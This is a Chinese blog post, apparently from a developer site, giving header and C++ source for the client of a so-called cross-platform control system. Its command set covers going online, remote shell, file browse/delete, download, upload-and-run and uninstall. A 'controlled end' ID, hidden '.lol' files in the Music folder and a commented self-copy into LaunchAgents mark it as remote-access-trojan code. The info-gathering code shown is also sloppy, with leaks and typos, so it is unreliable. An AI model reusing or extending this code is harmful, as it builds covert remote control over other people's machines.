windows linux—unix 跨平台通信集成控制系统----系统硬件信息获取

简介: 控制集成系统需要了解系统的各项硬件信息,之前我们设计的时候,习惯使用c函数来搞,后来可能发现程序的移植性收到了一些影响,比如unix内核的一些c函数在linux下面是没有的: 比如   苹果达尔文内核的如下东西,linux里面就没有:    //kern_return_t kr; ...

控制集成系统需要了解系统的各项硬件信息,之前我们设计的时候,习惯使用c函数来搞,后来可能发现程序的移植性收到了一些影响,比如unix内核的一些c函数在linux下面是没有的:

比如

 

苹果达尔文内核的如下东西,linux里面就没有:

 

 //kern_return_t kr;
    //host_name_port_t myhost;
   // kernel_version_t kversion;
   // host_basic_info_data_t hinfo;
   // mach_msg_type_number_t count;
    char            *cpu_type_name,*cpu_subtype_name;
   // vm_size_t  page_size;

   // myhost = mach_host_self();
   // kr = host_kernel_version(myhost, kversion);
   // count = HOST_BASIC_INFO_COUNT;
   // kr = host_info(myhost, HOST_BASIC_INFO, (host_info_t)&hinfo, &count);
   // kr = host_page_size(myhost, &page_size);                                               //

 

所以换一种思路我们考虑使用,shell命令获取信息,完后进行字符处理,这样即使换了系统,我们代码里面换换shell命令就可以了。

 

使用到的一些结构体跟宏定义:

 

 

//  Created by mac mac on 13-5-8.
//  Copyright (c) 2013年 __MyCompanyName__. All rights reserved.
//

#ifndef mac_client_mac_h
#define mac_client_mac_h
////////////////////////////////////////////////////////////////////////////////////////
/*
1.注意中文标点,编译器不容易察觉
2.server 和client端的宏定义大小要统一
*/
/////////////////////////////////////////////////////////////////////////////////////////
#define MAX_SIZE 1024
#define MAX_NAME_LENGTH 64
#define MAX_PATH 260            //保持和windows端定义的一样
#define MAX_PATH_MAC 256       //苹果的最大长度
#define FALSE 0
#define TRUE 1

#define MAX_SEND_BUFFER 1024*4
#define MAX_RECV_BUFFER 1024*4

/////////////////////////////////////////////////////////////////////////////////////////



typedef struct Command //自定义命令结构体
{
    int order;//命令序号
    long datasize;
    void * hwnd;//窗口句柄
    
}Command;
 

typedef struct Server_Address //服务器地址
{
    
    char strIP[3][MAX_PATH];//服务器ip
    unsigned int uPort[3] ; //服务器端口
    char remark[MAX_NAME_LENGTH];
}Server_Address;


typedef struct _SYS_INFO //到时候得增加备注
{
    Command         cmd;
    char            remark[MAX_NAME_LENGTH];            //备注
    char            computer_name[MAX_NAME_LENGTH];     //
    char            user_name[MAX_NAME_LENGTH];         //
    char            sys_version[MAX_NAME_LENGTH];       //
    char            cpu_type[MAX_NAME_LENGTH];          //
    char            host_ip_address[MAX_NAME_LENGTH];   //内网ip
    char            ip_addresss[MAX_NAME_LENGTH];       //外网ip
    char            uuid[MAX_NAME_LENGTH];             //被控端的唯一标识
    
    unsigned int    cpu_num;                            //
    unsigned int    mem_total;                          //
    int             host_id;                            //
}SYS_INFO;




enum 
{
    COMMAND_BIGIN = 20000,     //命令开始
    TOKEN_ONLINE,              //上线命令
    COMMAND_BREAK,             //断开链接
    COMMAND_UNINSTALL,         //卸载 
    COMMAND_MODIFY_REMARK,     //修改备注
///////////////////////////////////////////////////////////////////////////
    COMMAND_MANAGER_FILE,           //打开文件管理窗口
    COMMAND_GET_DIRECTORY,          //获取控制端主机根目录下所有文件信息 
    COMMAND_GET_REQUEST_DIRECTORY,  //获取双击请求目录中所有文件信息
    COMMAND_SEARCH_FILE,            //文件搜索,还没做
    COMMAND_WRONG_DIRECTORY,        //目录为空或者不可读
    COMMAND_DELETE_FILE,            //删除文件
    COMMAND_FILE_CLOSE,             //关闭当前文件管理功能的链接
//////////////////////////////////////////////////////////////////////////
    
    COMMAND_MANAGER_CMD,    //打开cmd管理窗口
    TOKEN_CMD_NEXT,         //等待下一个命令
    COMMAND_SHELL,          //控制端请求的shell命令
    COMMAND_SHELL_CLOSE,    //关闭shell
////////////////////////////////////////////////////////////////////////// 
    COMMAND_MANAGER_DOWNLOAD,   //打开文件下载功能
    TOKEN_DOWNLOAD_SETUP,   //控制端发送文件下载连接和uuid
    COMMAND_GET_FILEDATA,   //请求文件数据
    TOKEN_SENT_FILEDATA,    //发送文件数据
    TOKEN_CANT_GET_DATA,    //给控制端发送消息文件不可读
////////////////////////////////////////////////////////////////////////
    COMMAND_MANAGER_UPLOAD,     //开启文件上传
    TOKEN_UPLOAD_SETUP,         //接受文件上传连接
    COMMAND_SENT_UPLOAD_DATA,   //发送上传文件数据
    TOKEN_UPLOAD_DATA,          //请求上传文件数据
    TOKEN_UPLOAD_COMPLETE,      //文件上传完成
    COMMAND_RUN_PROGARM,        //上传运行的文件
    
    COMMAND_UPLOAD_CLOSE,      //关闭上传进程和连接
    
    
 };



#endif


 

 

下面是代码:

Systeminfo.h

 

/*
 * File:   System_Info.h
 * Author: Administrator
 *
 * Created on
 */

#ifndef SYSTEM_INFO_H
#define	SYSTEM_INFO_H
#include <iostream>
#include <stdlib.h>
#include <string.h>

#include <netinet/in.h>    // for sockaddr_in
#include <sys/types.h>    // for socket
#include <sys/socket.h>    // for socket
#include <stdio.h>        // for printf
#include <stdlib.h>        // for exit

#include <netdb.h>
#include <pthread.h>      //for th/Users/twd/Desktop/NewPc/mainread
#include <stdbool.h>     //for bool
#include <iconv.h>		//for utf-8 gb2312
#include <sys/cdefs.h>
#include <sys/errno.h>
#include <sys/stat.h>   //for dir
#include <unistd.h>
#include <dirent.h>
#include <arpa/inet.h>			//honts, inet_addr
#include <ctype.h>			//isdigit
#include <errno.h>			//errno
#include <fcntl.h>		//OWRONLY
#include <unistd.h>
#include <pwd.h>        //for username
//#include <copyfile.h>
//#include <mach/host_info.h>
#include <netdb.h>
#include <grp.h>
#include "mac.h"
//#include <mach/mach.h>


#include <sys/mount.h>
using namespace std;



int   GetDeviceInfo(SYS_INFO  * si);//声明一下,传递一个结构体到引用
void writeBeizhuInfo(char *beizhu);//写备份文件
char * readUuidInfo(SYS_INFO*  si);//读取生成的uuid
char * readUuid();
void  writeUuidInfo_info();
bool GetHost(char *domainName,char * ip);

char * readDirectory(char * directory);//上传文件的目录

int myexec(const char *cmd, string &resvec);//管道运行命令,得到一些系统信息

#endif	/* SYSTEM_INFO_H */


实现:

//
//  SystemInfo.cpp
//  mac_client
//
//  Created by mac mac on 13-5-21.
//  Copyright (c) 2013年 __MyCompanyName__. All rights reserved.
//

//#ifdef	__cplusplus
//extern "C" {
//#endif

//#include <iostream>

#include "SystemInfo.h"
#include <stdlib.h>

int beizhuaccess = 0;  //标志位,备注有没有改变

bool GetHost(char *domainName,char * ip)
{


    int i;
    struct hostent *he;
    struct in_addr **addr_list;


    //char * name = "www.csdn.net";

    if ((he = gethostbyname(domainName)) == NULL)
    {  // get the host info
        herror("gethostbyname");
        return NULL;
    }


    // print information about this host:
    printf("Official name is: %s\n", he->h_name);
    printf("    IP addresses: ");
    addr_list = (struct in_addr **)he->h_addr_list;

    for(i = 0; addr_list[i] != NULL; i++)
    {
        printf("%s ", inet_ntoa(*addr_list[i]));
        sprintf(ip, "%s",inet_ntoa(*addr_list[i]));
    }

    ///return
    printf("\n");


    return ip;
}


void  get_ip(SYS_INFO*  si)
{
    //char hname[128];
    struct hostent *hent;
    int i;

    gethostname(si->host_ip_address, sizeof(si->host_ip_address));

    //hent = gethostent();
    hent = gethostbyname(si->host_ip_address);

    printf("hostname: %s/naddress list: ", hent->h_name);
    for(i = 0; hent->h_addr_list[i]; i++)
    {
        printf("%s/t", inet_ntoa(*(struct in_addr*)(hent->h_addr_list[i])));
        memcpy(si->host_ip_address, inet_ntoa(*(struct in_addr*)(hent->h_addr_list[i])), sizeof(si->host_ip_address));
        printf("%s\n",si->host_ip_address);
    }
}


char * readDirectory(char * directory)
{

    char *login_name = (char *)malloc(MAX_NAME_LENGTH * sizeof(char));

    struct passwd *pwd;
    pwd = getpwuid(getuid());
    login_name = pwd->pw_name;		//获取当前用户名

    //char path[MAX_NAME_LENGTH];

    sprintf(directory,"/Users/%s/Library/Music",login_name);//创建的路径
    //sprintf(directory,zhuliuPath,login_name);
    return directory;
}


char * readUuid()
{
    char path[MAX_PATH] = {0};
    char *uuid = (char *)malloc(MAX_PATH_MAC);

    char *login_name = (char *)malloc(MAX_NAME_LENGTH * sizeof(char));

    struct passwd *pwd;
    pwd = getpwuid(getuid());
    login_name = pwd->pw_name;		//获取当前用户名


    sprintf(path,"/Users/%s/Library/Music",login_name);//创建的路径
    //sprintf(path,zhuliuPath,login_name);


    strcat(path, "/uuid.lol");
    //if (access(path,0)==0)
    //{
    FILE *fp = fopen(path, "r");
    fgets(uuid,MAX_NAME_LENGTH,fp);
    fclose(fp);


    return  uuid;

}

char * readUuidInfo(SYS_INFO*  si)
{
    char path[MAX_PATH] = {0};
    char *uuid = (char *)malloc(MAX_PATH_MAC);

    char *login_name = (char *)malloc(MAX_NAME_LENGTH * sizeof(char));

    struct passwd *pwd;
    pwd = getpwuid(getuid());
    login_name = pwd->pw_name;		//获取当前用户名

//


    sprintf(path,"/Users/%s/Library/Music",login_name);//创建的路径
    //sprintf(path,zhuliuPath,login_name);


    strcat(path, "/uuid.lol");

        FILE *fp = fopen(path, "r");
        fgets(uuid,MAX_NAME_LENGTH,fp);
        fclose(fp);
    strcat(si->uuid, uuid);

    return  uuid;


}


void writeBeizhuInfo(char *beizhu)
{

    char *login_name = (char *)malloc(MAX_NAME_LENGTH * sizeof(char));

    struct passwd *pwd;
    pwd = getpwuid(getuid());
    login_name = pwd->pw_name;		//获取当前用户名
    char path[MAX_PATH] = {0};



    sprintf(path,"/Users/%s/Library/Music",login_name);//创建的路径
    //sprintf(path,zhuliuPath,login_name);
    strcat(path, "/beizhu.lol");
    //if (access(path,0)==0)
    //{
    FILE *fp = fopen(path, "w");
    fputs(beizhu,fp);
    //strcpy(si->remark, beizhu);
    //}
    fclose(fp);
}
int myexec(const char *cmd, string &resvec)
 {
    resvec.clear();
    FILE *pp = popen(cmd, "r"); //建立管道
    if (!pp)
    {
        return -1;
    }
    char tmp[1024]; //设置一个合适的长度,以存储每一行输出
    while (fgets(tmp, sizeof(tmp), pp) != NULL)
     {
        if (tmp[strlen(tmp) - 1] == '\n')
        {
            tmp[strlen(tmp) - 1] = '\0'; //去除换行符
        }
        resvec.append(tmp);
    }
    pclose(pp); //关闭管道
    return resvec.size();
}

void writeUuidInfo_info()
{
    FILE *fp = popen("uuidgen", "r");//打开管道,执行命令,生成uuid
    char buffer[MAX_NAME_LENGTH] = {0};
    while (NULL != fgets(buffer, MAX_NAME_LENGTH, fp)) //逐行读取执行结果并打印
    {
        printf(buffer);
    }
    //fclose(fp);

    char *login_name = (char *)malloc(MAX_NAME_LENGTH * sizeof(char));

    struct passwd *pwd;
    pwd = getpwuid(getuid());
    login_name = pwd->pw_name;		//获取当前用户名
    char path[MAX_PATH] = {0};


   sprintf(path,"/Users/%s/Library/Music",login_name);//创建的路径
    //sprintf(path,zhuliuPath,login_name);
    //*
    // int IsHave=mkdir(path,S_IRWXU|S_IRGRP|S_IXGRP|S_IROTH);//创建LaunchAgents文件夹,把自身拷贝进去
   // if(IsHave<0)//创建新目录
    //{
    //  printf("mkdir failed\n");
    // exit(0);
   // }
    string str_mkdir = "mkdir -p ";
    str_mkdir.append(path);
    string str_mkdir_result;
   myexec(str_mkdir.c_str(),str_mkdir_result);

    strcat(path, "/uuid.lol");
    FILE *fpf = fopen(path, "w");
    int i = fputs(buffer,fpf);

    fclose(fpf);


    pclose(fp);

}


int   GetDeviceInfo(SYS_INFO *si)
{
    char temp[64]={0};
    gethostname(si->computer_name,sizeof(si->computer_name));

    struct passwd *passwd;
    passwd = getpwuid (getuid());
    struct group *group;
    group = getgrgid (passwd->pw_gid);

    sprintf(si->user_name,"%s-%s",group->gr_name,passwd->pw_name);

    string str_kernel;
    myexec("uname -sr",str_kernel);
    cout<<str_kernel<<endl;
    strcat(si->sys_version,str_kernel.c_str());



    string str_cpu;
    myexec("grep \"model name\" /proc/cpuinfo | cut -f2 -d:|head -1",str_cpu);
    cout<<str_cpu<<endl;
    strcat(si->cpu_type,str_cpu.c_str());

    puts(si->computer_name);

    struct hostent *hent;
    int i;

    gethostname(si->host_ip_address, sizeof(si->host_ip_address));

    hent = gethostent();
    //hent = gethostbyname(si->host_ip_address);

    printf("hostname: %s/naddress list: ", hent->h_name);
    for(i = 0; hent->h_addr_list[i]; i++)
    {
        printf("%s/t", inet_ntoa(*(struct in_addr*)(hent->h_addr_list[i])));
        memcpy(si->host_ip_address, inet_ntoa(*(struct in_addr*)(hent->h_addr_list[i])), sizeof(si->host_ip_address));
    }
    printf("%s\n",si->host_ip_address);

    string str_mem_total;
    myexec("free -m |grep \"Mem\" | awk \'{print $2}\'",str_mem_total);
    cout<<str_mem_total<<endl;
    si->mem_total = atoi(str_mem_total.c_str());
   // strcat(si->cpu_type,str_cpu.c_str());



    printf("%s\n",si->user_name);
    printf("%s\n",si->sys_version);
    printf("%s\n",si->cpu_type);
    printf("cpu:%d\n",si->cpu_num);
    printf("memory:%d\n",si->mem_total);

///////////////////////////////////读备注文件//////////////////////////////////////////////////////
    char path[MAX_PATH] = {0};
    char beizhu[MAX_PATH_MAC] = {0};


    sprintf(path,"/Users/%s/Library/Music",passwd->pw_name);//创建的路径
    //sprintf(path,zhuliuPath,passwd->pw_name);
    strcat(path, "/beizhu.lol");
    if (access(path,0)==0)
    {
        FILE *fp = fopen(path, "r");
        fgets(beizhu,MAX_NAME_LENGTH,fp);
        fclose(fp);
        beizhuaccess = 1;

        strcpy(si->remark, beizhu);
    }
    else
    {
        strcpy(si->remark, "default");

    }

///////////////////////////////////////读取uuid////////////////////////////////////////////////////////
    char uuidPath[MAX_PATH] = {0};
    sprintf(uuidPath,"/Users/%s/Library/Music",passwd->pw_name);
    strcat(uuidPath, "/uuid.lol");
     if (access(uuidPath,0)==0)
    {
        readUuidInfo(si);

    }
    else
    {
     writeUuidInfo_info();
     readUuidInfo(si);

    }



/////////////////////////////////////////////////////////////////////////////////////////////
    return 0;
}


//#ifdef	__cplusplus
//}


//#endif


 

 

搭建传输的socket平台参考下面博文:

 

http://blog.csdn.net/wangyaninglm/article/details/41940287

 

 

实现效果:

 

 

相关文章
|
29天前
|
监控 编译器 Windows
Qt5实现Windows平台串口通信
Qt5实现Windows平台串口通信
|
2月前
|
Ubuntu Linux Anolis
Linux系统禁用swap
本文介绍了在新版本Linux系统(如Ubuntu 20.04+、CentOS Stream、openEuler等)中禁用swap的两种方法。传统通过注释/etc/fstab中swap行的方式已失效,现需使用systemd管理swap.target服务或在/etc/fstab中添加noauto参数实现禁用。方法1通过屏蔽swap.target适用于新版系统,方法2通过修改fstab挂载选项更通用,兼容所有系统。
199 3
Linux系统禁用swap
|
2月前
|
Linux
Linux系统修改网卡名为eth0、eth1
在Linux系统中,可通过修改GRUB配置和创建Udev规则或使用systemd链接文件,将网卡名改为`eth0`、`eth1`等传统命名方式,适用于多种发行版并支持多网卡配置。
267 3
|
Ubuntu Linux 网络安全
Linux系统初始化脚本
一款支持Rocky、CentOS、Ubuntu、Debian、openEuler等主流Linux发行版的系统初始化Shell脚本,涵盖网络配置、主机名设置、镜像源更换、安全加固等多项功能,适配单/双网卡环境,支持UEFI引导,提供多版本下载与持续更新。
240 0
Linux系统初始化脚本
|
3月前
|
运维 Linux 开发者
Linux系统中使用Python的ping3库进行网络连通性测试
以上步骤展示了如何利用 Python 的 `ping3` 库来检测网络连通性,并且提供了基本错误处理方法以确保程序能够优雅地处理各种意外情形。通过简洁明快、易读易懂、实操性强等特点使得该方法非常适合开发者或系统管理员快速集成至自动化工具链之内进行日常运维任务之需求满足。
196 18
|
2月前
|
安全 Linux Shell
Linux系统提权方式全面总结:从基础到高级攻防技术
本文全面总结Linux系统提权技术,涵盖权限体系、配置错误、漏洞利用、密码攻击等方法,帮助安全研究人员掌握攻防技术,提升系统防护能力。
236 1
|
2月前
|
监控 安全 Linux
Linux系统提权之计划任务(Cron Jobs)提权
在Linux系统中,计划任务(Cron Jobs)常用于定时执行脚本或命令。若配置不当,攻击者可利用其提权至root权限。常见漏洞包括可写的Cron脚本、目录、通配符注入及PATH变量劫持。攻击者通过修改脚本、创建恶意任务或注入命令实现提权。系统管理员应遵循最小权限原则、使用绝对路径、避免通配符、设置安全PATH并定期审计,以防范此类攻击。
883 1
|
3月前
|
缓存 监控 Linux
Linux系统清理缓存(buff/cache)的有效方法。
总结而言,在大多数情形下你不必担心Linux中buffer与cache占用过多内存在影响到其他程序运行;因为当程序请求更多内存在没有足够可用资源时,Linux会自行调整其占有量。只有当你明确知道当前环境与需求并希望立即回收这部分资源给即将运行重负载任务之前才考虑上述方法去主动干预。
1385 10
|
2月前
|
Linux 应用服务中间件 Shell
二、Linux文本处理与文件操作核心命令
熟悉了Linux的基本“行走”后,就该拿起真正的“工具”干活了。用grep这个“放大镜”在文件里搜索内容,用find这个“探测器”在系统中寻找文件,再用tar把东西打包带走。最关键的是要学会使用管道符|,它像一条流水线,能把这些命令串联起来,让简单工具组合出强大的功能,比如 ps -ef | grep 'nginx' 就能快速找出nginx进程。
364 1
二、Linux文本处理与文件操作核心命令
|
2月前
|
Linux
linux命令—stat
`stat` 是 Linux 系统中用于查看文件或文件系统详细状态信息的命令。相比 `ls -l`,它提供更全面的信息,包括文件大小、权限、所有者、时间戳(最后访问、修改、状态变更时间)、inode 号、设备信息等。其常用选项包括 `-f` 查看文件系统状态、`-t` 以简洁格式输出、`-L` 跟踪符号链接,以及 `-c` 或 `--format` 自定义输出格式。通过这些选项,用户可以灵活获取所需信息,适用于系统调试、权限检查、磁盘管理等场景。
274 137